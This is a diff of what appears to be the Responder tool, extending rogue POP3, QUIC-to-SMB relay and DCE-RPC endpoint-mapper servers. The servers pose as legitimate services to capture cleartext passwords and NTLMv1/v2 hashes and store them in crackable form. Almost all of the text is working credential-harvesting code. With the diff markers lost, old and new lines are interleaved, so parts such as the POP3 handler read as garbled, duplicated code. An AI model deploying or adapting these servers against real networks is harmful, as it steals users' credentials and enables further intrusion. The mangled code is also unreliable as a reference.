||||
|
||||
# Parse fields
|
||||
lm_len = struct.unpack('<H', auth_data[12:14])[0]
|
||||
lm_offset = struct.unpack('<I', auth_data[16:20])[0]
|
||||
|
||||
ntlm_len = struct.unpack('<H', auth_data[20:22])[0]
|
||||
ntlm_offset = struct.unpack('<I', auth_data[24:28])[0]
|
||||
|
||||
domain_len = struct.unpack('<H', auth_data[28:30])[0]
|
||||
domain_offset = struct.unpack('<I', auth_data[32:36])[0]
|
||||
|
||||
user_len = struct.unpack('<H', auth_data[36:38])[0]
|
||||
user_offset = struct.unpack('<I', auth_data[40:44])[0]
|
||||
|
||||
# Extract data
|
||||
username = auth_data[user_offset:user_offset+user_len].decode('utf-16-le', errors='ignore')
|
||||
domain = auth_data[domain_offset:domain_offset+domain_len].decode('utf-16-le', errors='ignore')
|
||||
lm_hash = auth_data[lm_offset:lm_offset+lm_len]
|
||||
ntlm_hash = auth_data[ntlm_offset:ntlm_offset+ntlm_len]
|
||||
|
||||
# Determine version
|
||||
if ntlm_len == 24:
|
||||
hash_type = "NTLMv1"
|
||||
hash_string = "%s::%s:%s:%s:%s" % (
|
||||
username, domain,
|
||||
codecs.encode(lm_hash, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
|
||||
codecs.encode(challenge, 'hex').decode('latin-1')
|
||||
)
|
||||
elif ntlm_len > 24:
|
||||
hash_type = "NTLMv2"
|
||||
hash_string = "%s::%s:%s:%s:%s" % (
|
||||
username, domain,
|
||||
codecs.encode(challenge, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlm_hash[:16], 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlm_hash[16:], 'hex').decode('latin-1')
|
||||
)
|
||||
else:
|
||||
return False
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': hash_type + '-SSP',
|
||||
'client': self.client_address[0],
|
||||
'user': domain + '\\' + username,
|
||||
'hash': codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
|
||||
'fullhash': hash_string,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured %s hash from %s for user %s\\%s" % (
|
||||
hash_type, self.client_address[0].replace("::ffff:", ""), domain, username), 3, 1))
|
||||
|
||||
return True
|
||||
|
||||
return False
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Error parsing NTLM: %s' % str(e)))
|
||||
return False
|
||||
|
||||
def SendPacketAndRead(self):
|
||||
"""Send OK packet and read response"""
|
||||
Packet = POPOKPacket()
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
return self.request.recv(1024)
|
||||
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.SendPacketAndRead()
|
||||
if data[0:4] == b'CAPA':
|
||||
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||
# Generate challenge for APOP
|
||||
challenge = self.generate_challenge()
|
||||
|
||||
# Send banner with challenge for APOP support
|
||||
banner = "+OK POP3 server ready %s\r\n" % challenge
|
||||
self.request.send(banner.encode('latin-1'))
|
||||
|
||||
# Read first command
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Handle CAPA (capability) command
|
||||
if data[0:4].upper() == b'CAPA':
|
||||
# Advertise supported auth methods
|
||||
capabilities = [
|
||||
"+OK Capability list follows",
|
||||
"USER",
|
||||
"SASL PLAIN LOGIN CRAM-MD5 NTLM",
|
||||
"IMPLEMENTATION Responder POP3",
|
||||
"."
|
||||
]
|
||||
self.request.send("\r\n".join(capabilities).encode('latin-1') + b"\r\n")
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == b'AUTH':
|
||||
self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket()))
|
||||
|
||||
# Handle AUTH command
|
||||
if data[0:4].upper() == b'AUTH':
|
||||
mechanism = data[5:].strip().upper()
|
||||
|
||||
if mechanism == b'PLAIN':
|
||||
self.handle_auth_plain(data)
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
elif mechanism == b'LOGIN':
|
||||
self.handle_auth_login(data)
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
|
||||
self.handle_auth_cram_md5(data)
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
elif mechanism == b'NTLM':
|
||||
if self.handle_ntlm_auth(data):
|
||||
self.send_ok("Authentication successful")
|
||||
else:
|
||||
self.send_err("Authentication failed")
|
||||
return
|
||||
|
||||
elif not mechanism:
|
||||
# AUTH without mechanism - list supported
|
||||
auth_list = "+OK Supported mechanisms:\r\nPLAIN\r\nLOGIN\r\nCRAM-MD5\r\nNTLM\r\n.\r\n"
|
||||
self.request.send(auth_list.encode('latin-1'))
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
self.send_err("Unsupported authentication method")
|
||||
return
|
||||
|
||||
# Handle APOP command
|
||||
if data[0:4].upper() == b'APOP':
|
||||
if self.handle_apop(data):
|
||||
self.send_ok("Authentication successful")
|
||||
else:
|
||||
self.send_err("Authentication failed")
|
||||
return
|
||||
|
||||
# Handle traditional USER/PASS
|
||||
if data[0:4].upper() == b'USER':
|
||||
User = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
|
||||
self.send_ok("Password required")
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == b'USER':
|
||||
User = data[5:].strip(b"\r\n").decode("latin-1")
|
||||
data = self.SendPacketAndRead()
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip(b"\r\n").decode("latin-1")
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+":"+Pass,
|
||||
})
|
||||
self.SendPacketAndRead()
|
||||
except Exception:
|
||||
|
||||
if data[0:4].upper() == b'PASS':
|
||||
Pass = data[5:].strip(b"\r\n").decode("latin-1", errors='ignore')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'POP3',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User + ":" + Pass,
|
||||
})
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color("[*] [POP3] Captured cleartext credentials from %s for user %s" % (
|
||||
self.client_address[0].replace("::ffff:", ""), User), 2, 1))
|
||||
|
||||
self.send_ok("Authentication successful")
|
||||
return
|
||||
|
||||
self.send_err("Unknown command")
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[POP3] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
168
servers/QUIC.py
Normal file
168
servers/QUIC.py
Normal file
@@ -0,0 +1,168 @@
|
||||
import asyncio
|
||||
import logging
|
||||
import ssl
|
||||
import argparse
|
||||
import netifaces
|
||||
from utils import *
|
||||
from aioquic.asyncio import serve
|
||||
from aioquic.asyncio.protocol import QuicConnectionProtocol
|
||||
from aioquic.quic.configuration import QuicConfiguration
|
||||
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
|
||||
|
||||
BUFFER_SIZE = 11000
|
||||
|
||||
def get_interface_ip(interface_name):
|
||||
"""Get the IP address of a network interface."""
|
||||
try:
|
||||
# Get address info for the specified interface
|
||||
addresses = netifaces.ifaddresses(interface_name)
|
||||
|
||||
# Get IPv4 address (AF_INET = IPv4)
|
||||
if netifaces.AF_INET in addresses:
|
||||
return addresses[netifaces.AF_INET][0]['addr']
|
||||
|
||||
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
|
||||
if netifaces.AF_INET6 in addresses:
|
||||
return addresses[netifaces.AF_INET6][0]['addr']
|
||||
|
||||
logging.error(f"[!] No IP address found for interface {interface_name}")
|
||||
return None
|
||||
except ValueError:
|
||||
logging.error(f"[!] Interface {interface_name} not found")
|
||||
return None
|
||||
|
||||
|
||||
class QUIC(QuicConnectionProtocol):
|
||||
def __init__(self, *args, target_address=None, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
self.tcp_connections = {} # stream_id -> (reader, writer)
|
||||
self.target_address = target_address or "localhost"
|
||||
|
||||
def quic_event_received(self, event):
|
||||
if isinstance(event, StreamDataReceived):
|
||||
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
|
||||
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
|
||||
# Only try to close connections if we have any
|
||||
if self.tcp_connections:
|
||||
asyncio.create_task(self.close_all_tcp_connections())
|
||||
|
||||
async def handle_stream_data(self, stream_id, data):
|
||||
if stream_id not in self.tcp_connections:
|
||||
# Create a new TCP connection to the target interface:445
|
||||
try:
|
||||
reader, writer = await asyncio.open_connection(self.target_address, 445)
|
||||
self.tcp_connections[stream_id] = (reader, writer)
|
||||
|
||||
# Start task to read from TCP and write to QUIC
|
||||
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
|
||||
|
||||
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
|
||||
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
|
||||
return
|
||||
|
||||
# Forward data from QUIC to TCP
|
||||
try:
|
||||
_, writer = self.tcp_connections[stream_id]
|
||||
writer.write(data)
|
||||
await writer.drain()
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error writing to TCP: {e}")
|
||||
await self.close_tcp_connection(stream_id)
|
||||
|
||||
async def tcp_to_quic(self, stream_id, reader):
|
||||
try:
|
||||
while True:
|
||||
data = await reader.read(BUFFER_SIZE)
|
||||
if not data:
|
||||
break
|
||||
|
||||
self._quic.send_stream_data(stream_id, data)
|
||||
self.transmit()
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error reading from TCP: {e}")
|
||||
finally:
|
||||
await self.close_tcp_connection(stream_id)
|
||||
|
||||
async def close_tcp_connection(self, stream_id):
|
||||
if stream_id in self.tcp_connections:
|
||||
_, writer = self.tcp_connections[stream_id]
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
del self.tcp_connections[stream_id]
|
||||
|
||||
async def close_all_tcp_connections(self):
|
||||
try:
|
||||
# Make a copy of the keys to avoid modification during iteration
|
||||
stream_ids = list(self.tcp_connections.keys())
|
||||
for stream_id in stream_ids:
|
||||
try:
|
||||
await self.close_tcp_connection(stream_id)
|
||||
except KeyError:
|
||||
# Silently ignore if the stream ID no longer exists
|
||||
pass
|
||||
except Exception as e:
|
||||
# Catch any other exceptions that might occur
|
||||
logging.debug(f"[!] Error closing TCP connections: {e}")
|
||||
|
||||
async def start_quic_server(listen_interface, cert_path, key_path):
|
||||
# Configure QUIC
|
||||
configuration = QuicConfiguration(
|
||||
alpn_protocols=["smb"],
|
||||
is_client=False,
|
||||
)
|
||||
|
||||
# Load certificate and private key
|
||||
try:
|
||||
configuration.load_cert_chain(cert_path, key_path)
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
|
||||
return
|
||||
|
||||
# Resolve interfaces to IP addresses
|
||||
listen_ip = listen_interface
|
||||
if not is_ip_address(listen_interface):
|
||||
listen_ip = get_interface_ip(listen_interface)
|
||||
if not listen_ip:
|
||||
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||
return
|
||||
|
||||
target_ip = listen_interface
|
||||
if not is_ip_address(listen_interface):
|
||||
target_ip = get_interface_ip(listen_interface)
|
||||
if not target_ip:
|
||||
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||
return
|
||||
|
||||
# Start QUIC server with correct protocol factory
|
||||
server = await serve(
|
||||
host=listen_ip,
|
||||
port=443,
|
||||
configuration=configuration,
|
||||
create_protocol=lambda *args, **kwargs: QUIC(
|
||||
*args,
|
||||
target_address=target_ip,
|
||||
**kwargs
|
||||
)
|
||||
)
|
||||
|
||||
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
|
||||
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
|
||||
|
||||
# Keep the server running forever
|
||||
await asyncio.Future()
|
||||
|
||||
|
||||
def is_ip_address(address):
|
||||
"""Check if a string is a valid IP address."""
|
||||
import socket
|
||||
try:
|
||||
socket.inet_pton(socket.AF_INET, address)
|
||||
return True
|
||||
except socket.error:
|
||||
try:
|
||||
socket.inet_pton(socket.AF_INET6, address)
|
||||
return True
|
||||
except socket.error:
|
||||
return False
|
||||
437
servers/RPC.py
437
servers/RPC.py
@@ -27,188 +27,375 @@ else:
|
||||
|
||||
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
|
||||
|
||||
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
|
||||
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
|
||||
# Transfer syntaxes
|
||||
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" # NDR v2
|
||||
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" # v1
|
||||
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
|
||||
|
||||
#for mapper
|
||||
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
|
||||
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
|
||||
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
|
||||
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
|
||||
# Common RPC interface UUIDs (original ones)
|
||||
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" # v4
|
||||
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" # v0
|
||||
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" # v1
|
||||
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" # v1
|
||||
|
||||
# Additional RPC interfaces for better coverage
|
||||
SAMR = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac" # v1 - Security Account Manager
|
||||
SRVSVC = "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88" # v3 - Server Service
|
||||
WKSSVC = "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a" # v1 - Workstation Service
|
||||
WINREG = "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03" # v1 - Windows Registry
|
||||
SVCCTL = "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03" # v2 - Service Control Manager
|
||||
ATSVC = "\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b" # v1 - Task Scheduler
|
||||
DNSSERVER= "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76" # v5 - DNS Server
|
||||
|
||||
|
||||
def Chose3264x(packet):
|
||||
if Map32 in packet:
|
||||
return Map32
|
||||
else:
|
||||
return Map64
|
||||
# Interface names for logging
|
||||
INTERFACE_NAMES = {
|
||||
DSRUAPI: "DRSUAPI",
|
||||
LSARPC: "LSARPC",
|
||||
NETLOGON: "NETLOGON",
|
||||
WINSPOOL: "WINSPOOL",
|
||||
SAMR: "SAMR",
|
||||
SRVSVC: "SRVSVC",
|
||||
WKSSVC: "WKSSVC",
|
||||
WINREG: "WINREG",
|
||||
SVCCTL: "SVCCTL",
|
||||
ATSVC: "ATSVC",
|
||||
DNSSERVER: "DNSSERVER"
|
||||
}
|
||||
|
||||
def FindNTLMOpcode(data):
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
"""Find NTLMSSP message type in data"""
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
if SSPIStart == -1:
|
||||
return False
|
||||
SSPIString = data[SSPIStart:]
|
||||
if len(SSPIString) < 12:
|
||||
return False
|
||||
return SSPIString[8:12]
|
||||
|
||||
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
def ParseRPCHash(data, client, Challenge):
|
||||
"""Parse NTLMSSP v1/v2 hashes from RPC data"""
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
if SSPIStart == -1:
|
||||
return
|
||||
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
if len(SSPIString) < 64:
|
||||
return
|
||||
|
||||
try:
|
||||
LMhashLen = struct.unpack('<H', data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H', data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
|
||||
NthashLen = struct.unpack('<H', data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H', data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
# NTLMv1
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
|
||||
# Try to get hostname
|
||||
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
|
||||
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
|
||||
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
|
||||
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
|
||||
else:
|
||||
Hostname = ''
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge, 'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'hostname': Hostname,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
# NTLMv2
|
||||
elif NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H', SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H', SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H', SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H', SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
|
||||
# Try to get hostname
|
||||
HostnameLen = struct.unpack('<H', SSPIString[46:48])[0]
|
||||
HostnameOffset = struct.unpack('<H', SSPIString[48:50])[0]
|
||||
if HostnameLen > 0 and HostnameOffset + HostnameLen <= len(SSPIString):
|
||||
Hostname = SSPIString[HostnameOffset:HostnameOffset+HostnameLen].decode('UTF-16LE', errors='ignore')
|
||||
else:
|
||||
Hostname = ''
|
||||
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge, 'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'hostname': Hostname,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC] Error parsing hash: %s' % str(e)))
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
def FindInterfaceUUID(data):
|
||||
"""Find which RPC interface UUID is being requested"""
|
||||
# Check for each known interface UUID in the data
|
||||
for uuid, name in INTERFACE_NAMES.items():
|
||||
if NetworkSendBufferPython2or3(uuid) in data:
|
||||
return uuid, name
|
||||
return None, None
|
||||
|
||||
class RPCMap(BaseRequestHandler):
|
||||
"""RPCMap handler - Port 135 Endpoint Mapper"""
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
data = self.request.recv(2048)
|
||||
if not data:
|
||||
return
|
||||
|
||||
self.request.settimeout(5)
|
||||
Challenge = RandomChallenge()
|
||||
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
|
||||
#More recent windows version can and will bind on port 135...Let's grab it.
|
||||
|
||||
# Handle BIND request
|
||||
if data[0:3] == b"\x05\x00\x0b": # Bind Request
|
||||
# Identify which interface first
|
||||
uuid, interface_name = FindInterfaceUUID(data)
|
||||
if not interface_name:
|
||||
interface_name = "unknown interface"
|
||||
|
||||
# Check for NTLMSSP NEGOTIATE in BIND
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
# Send NTLMSSP CHALLENGE
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
|
||||
# Receive NTLMSSP AUTH
|
||||
data = self.request.recv(2048)
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
|
||||
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
|
||||
return
|
||||
|
||||
# Standard BIND processing
|
||||
if NetworkSendBufferPython2or3(Map) in data:
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
elif NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data:
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
|
||||
else:
|
||||
# Try to identify which interface
|
||||
if uuid:
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=uuid, CTX1UIDVersion="\x01\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DCE-RPC] BIND request for %s from %s' % (interface_name, self.client_address[0].replace("::ffff:", ""))))
|
||||
else:
|
||||
# Default to NDR
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
|
||||
|
||||
# DSRUAPI
|
||||
if NetworkSendBufferPython2or3(DSRUAPI) in data:
|
||||
|
||||
# Try to receive more data (AUTH3 or REQUEST)
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
if data:
|
||||
# Check for AUTH3 (packet type 0x10)
|
||||
if len(data) > 2 and data[2:3] == b"\x10":
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
# Check for NTLM in any subsequent packet
|
||||
elif FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
print(color("[*] [DCE-RPC] NTLM authentication on %s from %s" % (interface_name, self.client_address[0].replace("::ffff:", "")), 3, 1))
|
||||
except:
|
||||
pass
|
||||
|
||||
# Handle mapper requests (after BIND)
|
||||
elif data[0:3] == b"\x05\x00\x00": # Mapper request
|
||||
uuid, name = FindInterfaceUUID(data)
|
||||
|
||||
if uuid == DSRUAPI:
|
||||
x = RPCMapBindMapperAns()
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC = RPCHeader(Data=x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#LSARPC
|
||||
if NetworkSendBufferPython2or3(LSARPC) in data:
|
||||
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
